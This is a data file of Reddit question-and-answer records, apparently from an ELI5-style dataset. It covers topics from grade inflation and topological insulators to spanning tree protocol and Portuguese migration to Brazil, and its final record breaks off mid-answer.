{"q_id": "6kxbnx", "title": "what causes grade inflation at universities such as harvard to get so bad?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6kxbnx/eli5_what_causes_grade_inflation_at_universities/", "answers": {"a_id": ["djpiaek", "djpiy7x", "djpkgg5", "djpkibo", "djpsyaq", "djpzslq"], "score": [23, 3, 23, 3, 7, 2], "text": ["The opinion in society that every student should be capable of getting an A in a subject. In the actual design of the system an average student should be getting a C (or 2.0) in a class, above average getting a B (3.0), students gifted in the subject should be the only ones getting an A (4.0). But society has seen fit to assume all students should get an A in a subject if they do the work and that means that the standards to get an A have to be lowered. ", "Another component can be the desired image or reputation of a school, college, or university. What I mean is that a school may have the desire to appear exclusive and populated by the \"brightest and best\", so if students were to receive lower grades it could lead to a situation where the \"best\" do not look as exemplary as desired. There are (or have been) schools, colleges, and universities with grade deflation (or where such claims have been made by students). The university I attended frequently had these claims made, but personally I never experienced or witnessed it. The belief was that the university and professors wanted the curriculum to appear so rigorous that even the top students had to work extremely hard to obtain a \"good grade\". ", "I think the issue is well illustrated by an attempt to solve it:\n\nPrinceton tried to change this by implementing grade deflation, meaning only the top 20-30% of grades in a class could be As.  Idea was to 'lead the charge' so to speak on making As actually mean something, but none of the other Ivies followed suit.  Led to a few problems:\n\n-Some departments embraced it more than others.  In general the humanities departments continued to give out more As while physics, math, and the engineering departments continued to give out very, very few.  Ironically this is one of the problems grade deflation was supposed to address \n-Departments had some leeway on how to distribute As so that they could award the higher level work done in upper level courses.  So instead of As going to the top 25% in every course, you might have the cutoff be top 40% get As in an upper level course, but then to make up for it the 100 level courses only gave As to the top 10 or 15%.  This made intro level courses notoriously difficult to earn top marks in.\n-The guidelines were specifically to limit the number of As, meaning everyone else could get a B or B+.  Some professors would do exactly that.  Others would grade on a curve and dole out those Cs.\n-*And the big one:* Graduate programs (particularly law and medical schools) really didn't give a crap in terms of how they reviewed Princeton applicants.  Princeton would send a letter with transcripts explaining their grading process and note that the average GPA at Princeton was 3.3 wheras the average at Harvard and Yale was like 3.75 because of this.  So while a 3.6 under grade deflation is really quite impressive, it still looks pretty below average in competitive applicant pools with all the 4.0s from other schools.\n\nAnd so Princeton recently discontinued grade deflation after many years of the student body complaining nonstop about it.  Which is kind of a shame honestly.  Grade deflation had it's problems, but most of them stemmed from the fact that other schools were giving As to everyone", "One possibility.  Lets assume that:\n\n* there's a relatively objective standard for getting A's in Harvard\n\n* the standard is pretty *high*\n\nNow: have a bunch of people that we're accepted to *freaking Harvard* apply themselves to said standard. \n\nIs there some grade dilution taking place? Probably/of course there is. But remember how aggressive the filter is to get in to a school like Harvard. *All* (almost all) of the students were of the 'if I don't get an A on everything I might kill myself' mold *before they got there*. \n\nNow I'm sure that some kids, out from Mommy and Daddy's supervision, go nuts and get stupid, and others got in for reasons other than previous academic accomplishments *cough* $$ *cough*. \n\nBut the lion's share of Harvard students are the type of students that are **GOING** to get that A. \n\nMy $0.02, anyway. ", "Tl;dr: There is no incentive to change it.\n\n**Students:** Would you rather get an A or a B? All things being equal, would you take a course knowing you have a much higher chance of getting a B, which would hurt your GPA, which would affect your chances of getting a job or into grad school?\n\n**Professors:** Would you rather give out lower grades or higher ones? Keep in mind that people rate their professors higher when they get better grades, and low student satisfaction hurts your chances of promotion. Also, do you want to deal with students who complain about low grades?\n\n**Administrators:** Would you rather the school give out lower grades? Or would you rather everyone get high grades, which gets your students better jobs and grad school admissions, which improves the rankings of the school?\n\n**Grad school admission teams and employers:** Would you rather tell US News that the average GPA at your school is 3.8 or 3.6? Your school looks better if you take people with 4.0's from a grade inflation school than if you take lower GPA students from a grade deflation school. The same applies to employers. Would you rather tell clients and investors that your employees were A students or B students? Keep in mind that the 3.8 student and the 3.6 student are probably exactly as smart as one another. They just went to schools that practice or don't practice grade inflation.\n\nEvery single stakeholder does better when students get high grades or achieves more. They only people who get hurt are students, professors, and administrators at other schools who don't practice this sort of thing. Plenty of schools claim they don't have grade inflation, and that employers and grad schools know it, but even if it's true, what employer has time to keep track of all that? Many schools claim they have grade deflation. Even people from Harvard reject the idea that there is grade inflation because it hurts their reputation. There is no incentive to acknowledge the problem or change anything.\n\nThere are other subtle ways of doing this too. For example, many wealthy private schools have a lot of small cash awards. You can win $100 for the best senior thesis in medieval history for example. Of course, there might be only one paper on that subject each year. So your paper might be mediocre, but at the end of the process, you still have an award winning paper to put on your resume. These are the little things that make elite private schools elite. Most public schools simply don't have the funds or the small class size to enable that sort of thing.", "The core issue is whether the grade is a measure of success against your peers or against the material. If a student is the worst in the class, but still otherwise completes all the assignments and demonstrates a complete understanding do they still deserve an F?\n\nAn easier way to compare this is to look at two other tests, the [USMC physical fitness test](_URL_1_) vs. the [NFL Combine](_URL_0_).\n\nBoth are tests to evaluate the physical skills of fit young people, but the grading is different because they are attempting different things. The Marines are looking to test their people against a set of defined tasks and they would be ecstatic if everyone passed with flying colors. The NFL is looking specifically to rank players against their peers to determine who is the best, because they can only select one at a time.\n\nThe grade inflation model is generally like the USMC, while the strict curve model is more like the NFL."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.nfl.com/combine/participants", "http://www.military.com/military-fitness/marine-corps-fitness-requirements/usmc-physical-fitness-test"]]}
{"q_id": "ax5yzf", "title": "What is a topological material?", "selftext": "I saw this article and I have no idea what\u2019s going on. I tried to figure it out by looking stuff up, but it still escapes me.\n\n_URL_0_", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ax5yzf/what_is_a_topological_material/", "answers": {"a_id": ["ehrjn7k", "ehrr5qo"], "score": [10, 8], "text": ["A topological material is a material whose physical properties on it's surface is markedly different than it's properties in it's interior. A common example is a topological insulator, which has a high electrical resistance inside the material but is quite conductive of electricity along it's surface.", "The answer already given is not quite incorrect but it misses the point a bit.\n\n & #x200B;\n\nA topological material is a material whose properties are protected by a symmetry in the crystal. This is important as it means that the property is quite stable against outward influences. It's not so easy to explain this in laymans terms, but I'll try.\n\nIn a normal material if you take a metal and increase the distance between the atoms, you'll turn it into an insulator just because the overlap between the electrons at each atom gets smaller. This is an example of a non-topological material. Without changing any symmetry, you switch the material properties.\n\nFor a topological material this is not the case. For example in the already mentioned topological insulators (TI), the states of the electron wavefunction inside the bulk of the material are \"switched around\" versus the outside world. Just assume for a moment you have an electron and it can be in one of two states. State 1 has a lower energy inside the bulk of the topological insulator, state 2 has a higher energy. Normally inside the material you would expect to find the electron then in state 1 (it's just like with energy in classical physics where your pen will drop from the table to the floor because it'll go to a lower potential energy by doing so). However, outside of the material these states are actually switched. So in a vacuum, state 2 has lower energy versus state 1. That means that as you go from the bulk of the material to the vacuum, these states have to \"switch sides\" in energy and on the way at some point they will have the same energy. This happens exactly at the surface of the material. Now in reality it's a bit more complicated than that but basically when these two states have the same energy, you'll have a metal. Meaning that inside the bulk you have an insulator, outside in the vacuum of course you're also insulating but at the surface you have metallic behaviour.\n\nSince this metallic state arises from the switched energy states inside the material versus outside, you can now do all sorts of stuff to your material but you'll never get rid of this metallic state, because the argument that the states have to \"switch sides\" from the inside to the outside will still be true. So you can compress the material, you can increase the interatomic distance, you can make your surface full of holes, it doesn't matter, you'll always get the metallic state at the surface.\n\n & #x200B;\n\nThere are other properties that can be topologically protected, but in terms of experimental research it's mostly about TIs right now. From a standpoint of applications the stability of these states is of course very interesting and highly desirable."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/EverythingScience/comments/ax54l4/ubiquity_of_topological_materials_revealed_in/"], "answers_urls": [[], []]}
{"q_id": "6u3hv0", "title": "if light is bent by gravity and the universe is sufficiently big wouldn't light continue to be bend around each successive massive object until being viewable back at its point of origin as \"the past\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6u3hv0/eli5_if_light_is_bent_by_gravity_and_the_universe/", "answers": {"a_id": ["dlpltb8", "dlpncee"], "score": [16, 2], "text": ["Light isn't bent by gravity.  Light goes in a straight line in space.  Space is bent by gravity.\n\nThere is probably not enough mass in the Universe to bend space into a closed surface where all light might loop around to return to it's source.  The Universe is mostly flat around here, but we can't see all of it.\n\nIf you have a large mass, and you're in the right place, you can send a message into space by blinking a light and have the light go around the massive object and return to you, effectively letting you see your past.", "Yes technically it's possible if celestial objects were lined up in exactly the right positions at exactly the right times. But since the universe is mostly empty space, this is highly unlikely that this would ever happen. It may have happened in the early universe when objects were much much closer together, but it's highly unlikely now. Objects as massive as planets barely bend spacetime. You would need a lot of massive black holes. Massive stars could work, but their light would likely outshine whatever light they're bending, thus negating the desired effect.\n\nThere is a very very small chance that the universe is actually spherical, but that since we can only see a small portion of it, that it appears flat to us. Thus if an object could go fast enough in a straight line it would end up where it started. However since the universe is expanding faster than the speed of light, no light would ever be able to travel around the universe and back to the same spot even if the universe were spherical. Eventually the only thing in the night sky will be the massive galaxy created by the galaxies in our cluster colliding with each other. All other galaxies that we currently see will be past the point where light can reach our corner of the universe, and any life in this galaxy will believe the only thing in the entire universe is the one galaxy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "e3ialt", "title": "why is it \"attorneys at law\" instead of \"attorneys of law\"?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e3ialt/eli5_why_is_it_attorneys_at_law_instead_of/", "answers": {"a_id": ["f936uds", "f93cy07"], "score": [445, 16], "text": ["The use of \"at\" often coincides with something practical; the [Online Etymology Dictionary](_URL_0_) offers the example of a churchgoer being \"at church\" while a tourist is \"in the church.\"\n\nAn attorney at law is someone for whom the law is his profession. This isn't true of all attorneys: \"attorney\" means something like \"representative\"; the phrase \"attorney at law\" is opposed to \"attorney in fact\", someone who represents your interests but not in court, like when you give a relative \"power of attorney\" in case you are incapacitated. Today we usually say \"agent\" to avoid a potentially misleading use of the word \"attorney.\"", "Why don\u2019t you just call it lawyer? Or is that something different?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.etymonline.com/word/at#etymonline_v_18006"], []]}
{"q_id": "2bnef3", "title": "Did any nations or cultures before the United States attempt a national park type system, or sanctioned reserves for preserving nature?", "selftext": "The United States is the first nation to create what we know of as \"national parks\", but I'm interested in finding out if other nations before the U.S. had areas of land that were for preservation purposes only, such as an area where logging, hunting, or other disruptive industry was forbidden. Thanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2bnef3/did_any_nations_or_cultures_before_the_united/", "answers": {"a_id": ["cj7dbg9"], "score": [5], "text": ["National parks?  I'm not too sure those would have existed but a very similar concept was very common. This was in the form of massive estates owned by the rich and royals. \nHunting would be forbidden without the owners consent and great punishments would follow when those laws were broken. Though hunting would be done by the owner it would be quite a protected area. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "azuh7d", "title": "What is the calcification of the brain? Does anything speed up/slow down this process?", "selftext": "It\u2019s seemingly impossible to find anything on this subject that isn\u2019t just speculation from a community of conspiracy theorists. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/azuh7d/what_is_the_calcification_of_the_brain_does/", "answers": {"a_id": ["eib8e93"], "score": [3], "text": ["The only condition I know about is the calcification of the basal ganglia (these are structures in the deep brain that co-ordinate movement). Depending on which structure is affected, you get the corresponding clinical signs. \n\nTo the best of my knowledge, it\u2019s a rare inherited condition-passed on in a dominant manner-so there\u2019s about a 50% chance of it being passed on if one parent carries the faulty allele (different form of the same gene). \n\nIf you\u2019ve inherited the allele, there\u2019s no way that you can prevent it from manifesting. Symptoms are similar to those of Parkinson\u2019s disease and these can be treated in the same fashion. But there isn\u2019t a cure (yet) \ud83d\ude14"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "28utdf", "title": "what is dickbutt and where did it come from", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28utdf/eli5_what_is_dickbutt_and_where_did_it_come_from/", "answers": {"a_id": ["ciep4mm", "ciete81", "cieu4lx", "ciewvk4"], "score": [14, 5, 9, 3], "text": ["Basically \"Dickbutt\" first showed up in [this] (_URL_0_) web comic from 2006, a member on 4chan found it and it spread from there!", "[The original dickbutt comic](_URL_0_).\n\nAs for what it is... well... it's just a picture that people insert wherever in an attempt to surprise.", "**About**\n\nDick Butt is an illustration of an anthropomorphic phallus with a pair of testicles and a penis protruding from its backside. In multi-pane image macros and animated GIFs, the drawing is often revealed unexpectedly in the final frame.\n\n\n**Origin**\n\n\nOn July 2nd, 2006, artist K.C. Green published a webcomic in his titled \u201cTree. You\u2019ve Been Good to Us\" as part of the Horribleville[1] series, which featured an artist who illustrates the Dick Butt character after being scolded for wasting tree resources as a child (shown below).\n\n\n\n**Source:** [_URL_0_](_URL_0_)\n\nTogether with urbandictionary, this is the only way to understand the internet of today.", "/r/OutOfTheLoop is more suitable for this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://horribleville.com/d/20060702.html"], ["http://i38.tinypic.com/2zzryvn.jpg"], ["http://knowyourmeme.com/search?q=dickbutt"], []]}
{"q_id": "1tdkpm", "title": "What is aftertaste?", "selftext": "Some foods and drinks have an aftertaste (a taste that's different after you've swallowed it). What's going on chemically that makes a particular taste more prevalent after it's left your mouth vs while it's in your mouth?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1tdkpm/what_is_aftertaste/", "answers": {"a_id": ["ce6ye15"], "score": [18], "text": ["Aftertaste can be different for two reasons:\n\nSmell- The sense of smell has a lot to do with the perception of taste. Once the original food is gone you no longer have that intensity telling you what it is you're eating.\n\nDigestion- Some things actually wouldn't taste the same if they weren't being digested in your mouth. Saliva contains amylase and lipase which break down starch and fat respectively. With the food you just chewed up chemically changing, different tastes and odors will be present."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2g264q", "title": "why do wwe wrestlers die so young?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2g264q/eli5_why_do_wwe_wrestlers_die_so_young/", "answers": {"a_id": ["ckex3dg", "ckex559", "ckeyt3v", "ckf7ske"], "score": [20, 2, 5, 2], "text": ["Many 'pro' wrestlers live a hard life on the road which can make them prone to depression and lead them to abusing intoxicants, a lot of them take steroids and/or other performance enhancers, it's a freaking hard job that takes a massive toll on a persons body which often leads to heavy duty painkillers and then there's the plain fact that it's risky. You throw yourself from heights, land on hard and/or breakable objects, perform stunts and have other 300 pound people drop you on or land on top of your head.", "Thanks for the answers guys!\n", "* pro wrestling, even if it is fake, is hard on your body\n* many wrestlers use steroids and other PED to maintain the physiques\n* wrestlers, especially as they get older, are usually nursing minor and not so minor injuries, which can lead to a dependency on painkillers and other drugs\n* unless you are are a big star, it can be a hard lifestyle...travelling from town to town, living out of suitcase, not making a lot of money...hard to build up a proper support structure", "It is a good idea to watch the movie starring Mickey Rourke called The Wrestler, it will give you some insight into this world."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5q8t2q", "title": "would a death star actually be feasible? how much energy would be needed? possible to fly? etc.", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5q8t2q/eli5_would_a_death_star_actually_be_feasible_how/", "answers": {"a_id": ["dcxbwwx"], "score": [2], "text": ["The Death Star is supposed to be 160 km in diameter with the second death star supposed to be significantly bigger. (With everything in star Wars canon there are sources giving conflicting info.)\n\nAt that size it would be the size of a very small moon or an asteroid.\n\nWikipedia has a [List of Solar System objects by size](_URL_0_)\n\nNatural object with the same size apparent weigh around 4 quadrillion metric tons also some weigh as little as 2 quadrillion tonnes while others weigh over 10.\n\nIf you had a sphere of solid iron that size it would be 17 quadrillion tonnes. A Death Star would probably be far dense even if built of heavier materials. \n\nIn any case you would need a whole lot of raw material to build something this big.\n\nYou would essentially need a small asteroid worth of raw materials to built one.\n\nWhile there is much to object about the super weapon shown in the last star wars movie the idea of just taking an existing rock and build a weapon into it certainly makes more sense than taking the rock apart and making an new structure out of the parts.\n\nBuilding it would naturally take a long time especially with the somewhat backwards methods shown to be employed in the Star Wars universe. A more automation heavy approach with machines building other machines that could take advantage of exponential growth might be more feasible.\n\nOne big problem would be finding materials to built the whole thing of as it would need to be rather strong.\n\nThe gravity on the surface of that sphere even with the most dense example above would be less than 2% of that of earth, so there is not too much danger of the structure being deformed under their own weight, but you would still need quite a it of sci-fi magic to make it work especially if you wanted to move it around.\n\nMoving the whole thing would be an issue. Not only would you expend extreme amounts of energy to accelerate the thing in any direction, but you would also have to be careful not to rip it apart in the process and large planets like the gas-giant Yavin shown in the movie might be a great danger to it with its gravity creating huge tidal stresses in the structure.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/List_of_Solar_System_objects_by_size"]]}
{"q_id": "cm2mo8", "title": "700,000 Portuguese people migrated to Brazil in the period before 1760. Given that Portugal only has 10 million people today, that figure astounded me. How does the relative and absolute scale of that migration compare with contemporary patterns of European settlement in the Americas.", "selftext": "Was Portugal unusual in this respect? Or did the other European powers colonizing the Americas have similar rates of settlement?\n\nWhat were the social effects of this exodus in Portugal? Apparently 600 of those 700 thousand people migrated between 1700-1760. I understand that this is a long period of time and the effect might not be as dramatic as I\u2019m envisioning, but that scale of movement 100 years before steamships really took me by surprise.\n\nI\u2019d be especially interested in comparisons with neighboring Spain, but haven\u2019t been able to find any reliable statistics.\n\n\n\nNote: This number comes from the Wikipedia page \u201cPortuguese Brazilian\u201d and is sourced (but I can\u2019t get the link to work here). I saw a similar figure in a museum in Rio today.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cm2mo8/700000_portuguese_people_migrated_to_brazil_in/", "answers": {"a_id": ["ew8d4fc"], "score": [28], "text": [" Hello! Im a Brazilian Historian and I can help you on this issue. But before I do it, I would like to point two things. The first one, excuse me for the several English language mistakes, im not totally fluent yet. Second, I will show some information about the Brazilian context. I cannot write nothing deep about the effects of this immigration for Portugal and certainly cannot compare this phenomenon with the Spanish case.  \n \n\nThat being said, the first thing to clarify is that 700,000 is a exaggereted number. Studies on Colonial Brazil demography are common, and all ressearchers agreed that there is no way to properly calculate. Before 1750s there was nothing like a census and local administration or churches records was irregular or highly inaccurate. The main source to estimate Brazilian population among XVI and XVII centuries are local writings about economy and life, normally wirtten by clergy members.  \n \n\nThose sources normally point the amount of \u201cWhite\u201d, \u201cBlack\u201d and \u201cIndigenous\u201d population, but we have to take the information with some caution for several reasons, one of those being that estimates can show different numbers about the same places. Another important reservation about those writtings are that the \u201cIndigenous\u201d accounted are just we can call \u201cAssimilated Indigenous\u201d, mainly because the vast majority of Portuguese America population was living on the coast. Also, the concept of \u201cWhite\u201d is not the same as the one used on Europe or USA. A son of Portuguese father and Indigenous mother could easily be considered White. If an individual have some European ancestry, be considered White on Colonial Brazil (even on Contemporary Brazil) is pretty much about social position and lifestyle. Also, the vast majority of the first Portuguese on Brazil was man, so endogamic marriagge was not always an option.  \n \n\nAccording Maria Luiza Marc\u00edlio, among the first Colonial times \u201cThe number of Europeans who came to Brazil was relatively low\u201d. The vast majority of those were Portuguese settlers, many times classified as \u201cdegredados\u201d, a vague category who included criminals, beggars, tramps gypsies, prostitutes or \u201cCrist\u00e3os Novos\u201d (\u201cNew Christians\u201d, or forcibly converted Jews). Other Europeans who came to Portuguese America were French, Spanish, Italian, English and Dutch invaders, who settled mainly on provinces like Rio de Janeiro, Pernambuco and Maranh\u00e3o.  \n \n\nAccording Padre Anchieta, a priest who immigrate to Brazil on the late XVI century, the Portuguese America\u2019s population in 1585 was 57.600 inhabitants (of course excluding non-assimilated Indigenous), with about 6.000 Whites, 13.000 Africans and 17.500 Christian Indigenous. Historian Contreiras Rodrigues estimates White population on 30.000 in 1600, but lots of historians consider this number overestimated. According Historian Angelo Carrara, Rio de Janeiro Population in 1670 was about 24.000 inhabitants, with just 4.000 of those being \u201cfree man\u201d and S\u00e3o Paulo population was about 12.000, with just 1.500 of those being White. According Marc\u00edlio estimates, there was 20.000 whites on Portuguese America in 1570, 30.000 in 1580 and 100.000 in 1600.  \n \n\nPortugal was Always concerned about occupy lands on Americas because those lands are also ambitioned by other European nations. But, according Tereza Rodrigues, the country itself was suffering with demographic stagnation among XVII century. Rodrigues points that among 1580-1620 Portugal population faced a decrease of growth, among 1620-1650 the population declined and just on the second half of the century it became to grow again. So, the main way to occupy Brazilian lands was by Africans enslavment.\n\nThe first massive wave of Portuguese immigration to Brazil started on the late XVII century, at the same time that Portugal population started to grow again. This trend was linked to gold findings on Minas Gerais region. The opportunity to became instantly rich attracted about 400.000 Portuguese immigrants to Brazil among all over the XVIII century. Just to point how big was this movment, Portugal had about 2 milion inhabitants on 1700. According Marc\u00edlio Portuguese immigrants belonged \u201cTo every regions, social classes and ocupations. Since peasnants to lower nobles, incluiding craftsman, merchants, priests or just adventurers\u201d. Despite most of those immigratns could not make a fortune with gold itself, lots of economic opportunities was opened on that times, mainly on agriculture and livestock, because lots of cities was founded on the XVIII and had to be supplied with food and other goods. On that times not just the Portuguese came to Brazil, but about 1 million new enslaved Africans and also migrants from several parts of Portuguese America, mainly from the Northeast provinces.  \n \n\nOn the beggining of the gold immigration wave, Portugal unsuccessful tried to difficult or forbid new departures to Brazil. But on the second half of that century, Marqu\u00eas de Pombal (on that times Portugal State Secretary) started to support new waves of Portuguese immigration to low inhabited areas, for guarantee Portuguese supremacy. Those immigrants mainly came from islands like Madeira or Azores. Marc\u00edlio points that in 1750 about 6000 Azorians immigrated for Santa Catarina, 4000 Azorian couples immigrated to Rio Grande do Sul and about 500 insular Portuguese arrived on northern provinces of Par\u00e1 and Maranh\u00e3o.\n\nAfter all those trends, a 1798 census showed Brazilian \u201cWhite\u201d population in about 1 million, or 31% of the total population. Again, is important to consider that a large amount of this million are Brazilian-born whites or even mixed people who are on a relatively good social position. Also, parts of those had another European backgrounds. A new wave of Portuguese immigrants arrived on Brazil just on the beggining of XIX century, after the royal family move to Rio de Janeiro in 1808. In 1818, White population was estimated on 1,3 million.  \n \n\nI also would like to point that Portuguese immigration increased after Independence (1822), mainly between the late XIX and the early XX century. Brazilian government started to execute ambicious immigration programs, to boost the national agriculture, occupy low inhabitated land and \u201cwhiten\u201d the population. According Lesser, between 1872-1900 about 380.000 Portuguese immigrated to Brazil. The number of immigrants keeps high, about 514.000 between 1900-1920, about 404.000 between 1920-1940, about 286.00 between 1940-1960. The 1960 decade was the last with a huge amount of Portuguese immigrating to Brazil, about 75.000. Since the 1970s, mainly since the 1990s, the immigration trend looks like inverted, with thousands of Brazilian immigrating to Portugal.  \n \n\nSources:  \n ALVES CARRARA, Angelo. **A popula\u00e7\u00e3o do Brasil, 1570-1700, uma revis\u00e3o historiogr\u00e1fica**. In: **Revista Tempo**, volume 20, Niter\u00f3i, 2014, pp. 1-21.\n\nLESSER, Jeffrey. **A inven\u00e7\u00e3o da brasilidade**. S\u00e3o Paulo: Editora Unesp, 2014.\n\nMARC\u00cdLIO, Maria Luiza. **A popula\u00e7\u00e3o do Brasil Colonial**. In: BETHELL, Leslie (org). **Hist\u00f3ria da Am\u00e9rica Latina** \u2013 Volume II: Am\u00e9rica Latina Colonial. S\u00e3o Paulo: Edusp, 2008, pp. 311-338.\n\n NADALIN, S\u00e9rgio Odilon. A **popula\u00e7\u00e3o no passado colonial brasileiro: mobilidade versus estabilidade**. In: **Revista Topoi**, volume  4, n\u00famero 7, Rio de Janeiro, 2003, pp. 222-275."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4geoaf", "title": "spanning tree protocol", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4geoaf/eli5_spanning_tree_protocol/", "answers": {"a_id": ["d2h06z2", "d2h4lwj", "d2h5k02", "d2h5oc2", "d2h68fl", "d2hfdk2"], "score": [33, 4, 7, 251, 23, 4], "text": ["Ok, so keep in mind this is ELI5, so...\n\nEthernet is supposed to be a bus, not a ring.  However, you can have a switch in the server room (assuming a business), and then have a switch connected to that switch, and some idio... sorry, user... connects that switch back into the original one.  So, they make a loop (ring).\n\nSpanning Tree Protocol checks for that loop, and if it sees it, shuts down the port.", "Think of this:  three switches arranged like a triangle.  Each switch is connected to the other.\nThe most efficient path is directly to the adjoining switch, not through another switch...i.e.:  A to B, or A to C, but not A through B to C.  Spanning-Tree calculates the COST to each connected switch and blocks traffic going out ports that are higher-cost, assuring the most efficient traffic.\nIf one trunk/wire/port breaks, spanning-tree reconfigures itself to go THOUGH another switch to get to the destination. BTW this does take the network down for a few seconds (depending on the STP model configured).", "welp, there is a poem which might be on target since this is ELI5:\n_URL_1_\n\nWritten by Radia Perlman ( ...one of the original people who worked on the design/protocol, often credited as the inventor of STP, it was then taken by the IEEE 802.1 Working Group and it has evolved over the years with updates, fixes and new versions like MSTP, RSTP and some proprietary versions as well (e.g. PVST+))\n\nSource: me I used to be in the IEEE 802.1 WG and worked on RSTP.\n...and some light reading for those interested: \n\n\"Remember Thou Shalt not build 8 bridges deep!\"\nor\n_URL_0_", "I'm going to go early 5 year old on this one.\n\nYou have more than one way to get to something on the network. Spanning tree picks the best way, and blocks the other ways so things don't just go around in circles. Then when your best way breaks, it opens one of those other paths. ", "Have you ever heard the sound a microphone  &  speaker make when there is a feedback loop? That sound happens because a sound keeps getting amplified repeatedly from speaker to microphone until it makes a high-pitched noise via what's known as a positive feedback loop.\n\nNow, imagine it is possible to do the same thing with a computer network. When this echo occurs on the network it gets amplified creating another instance / reflection of the original sound (a.k.a. a network packet). The amplification of the network echo eventually overpowers the network saturating it with a cacophony of deafening network packets. This ultimately crashes a network and causes the network hardware to reboot and if the network problem that created the echo in the first place persists after the network reboots, the system will repeat the crash reboot cycle.\n\nSo, spanning tree protocol (STP) was created to prevent the echo from ever starting in the first place. No network packet echo allowed means no breaking the network.\n\nCheers!", "You're a lost tourist in a foreign country trying to get to the coliseum. You ask for directions but you can only remember the next turn. So you go round and round In circles each time asking for directions when you covered familiar ground. Good news, in this country, they turn on spanning tree and instead of having to ask again, the wrong roads are blocked off allowing you to only make the right choices to reach the coliseum using the optimal path. Think of it as gps built in to the road itself. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://supportforums.cisco.com/sites/default/files/legacy/0/9/8/140890-All%20Systems%20Down%20-%20Scott%20Berinato%28CIO%29.pdf", "http://etherealmind.com/algorhyme-radia-perlman/"], [], [], []]}
{"q_id": "9tejl3", "title": "why cant they just pull the metal pin/rod/wire striaght out of the c4 clay in bombs?", "selftext": "Like in movies, they always struggle to desarm the thing. Why can't they just pluck away the clay, or pull the pins out of it? \n\nIs it just a movie thing?\n\nAlso, sorry if I flaired it wrong!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9tejl3/eli5_why_cant_they_just_pull_the_metal_pinrodwire/", "answers": {"a_id": ["e8vp2oc"], "score": [24], "text": ["Reasonable bomb makers might add a component to sense the removal if the detonator and trigger it; and trigger the backup they molded into the middle of the block of clay.  It fact, there is no reason to leave detonators sticking out in a real bomb, that's just a thing they do on TV to signal \"BOMB\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2d5m0b", "title": "how does lego decide what extra parts are in lego sets?", "selftext": "It seems whenever I lose a piece to a set while I'm building it, I find another extra in the box, but there isn't an extra piece for every piece.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2d5m0b/eli5_how_does_lego_decide_what_extra_parts_are_in/", "answers": {"a_id": ["cjmbh2g", "cjmc2oe"], "score": [5, 38], "text": ["Probably ones that are small, and used several times in the set. ", "Found it. Thank you [_URL_0_](http://_URL_0_/5019797/everything-you-always-wanted-to-know-about-lego).\n > **\u2022 Why did I always have pieces left over when I built my castle sets? Do they just do that to jack with kids?**\nFor two reasons: first, because some pieces are so small that they weigh too little to be measured by their scale, during packaging (you will see this when I publish the factory tour. J.) Second, because it's better to have too many of those pieces than have one of them missing. Since we statistically know what pieces may get lost, we include some extras when appropriate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["lego.gizmodo.com", "http://lego.gizmodo.com/5019797/everything-you-always-wanted-to-know-about-lego"]]}
{"q_id": "ewv9cm", "title": "In history's totalitarian regimes (i.e. Nazi Germany and USSR), how much would an average person be punished for criticizing the government?", "selftext": "In history's totalitarian regimes (i.e. Nazi Germany and USSR), how much would an average person be punished for criticizing the government?\n\nWould it depend on the prominence of the protestor or the degree of protest?\n\nIs it similar to what happens today in Russia?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ewv9cm/in_historys_totalitarian_regimes_ie_nazi_germany/", "answers": {"a_id": ["fg4xahl"], "score": [8], "text": ["**Short answer:**\n\nThere's really no such thing as \"the average person\"; understanding history (and sociology) is substantially about understanding that. With that proviso, no regime likes criticism, and repressive regimes have the means and the inclination to regard dissent as impermissible, and a target of suppression.  How they respond can vary from time to time, from person to person, from country to country, from tradition to tradition; reactions can range from \"no reaction\"  to mild intimidation, to more extreme measures up to and including torture and murder. Just which it might be is all about all the ways in which no one, and no regime is ever really \"average\"\n\nThe prominence of the dissenter can matter-- but regimes whose only check is their own calculation of interest are quite capable of salutary brutality against \"nobodies\". There's nothing to be gained from a system of repression that carries with it immunity for some-- the entire purpose of such a system is to make everyone obedient, whether prominent or \"ordinary\".\n\nNB -- I am discussing both \"totalitarian\" and merely \"authoritarian\" regimes here, because when it comes to 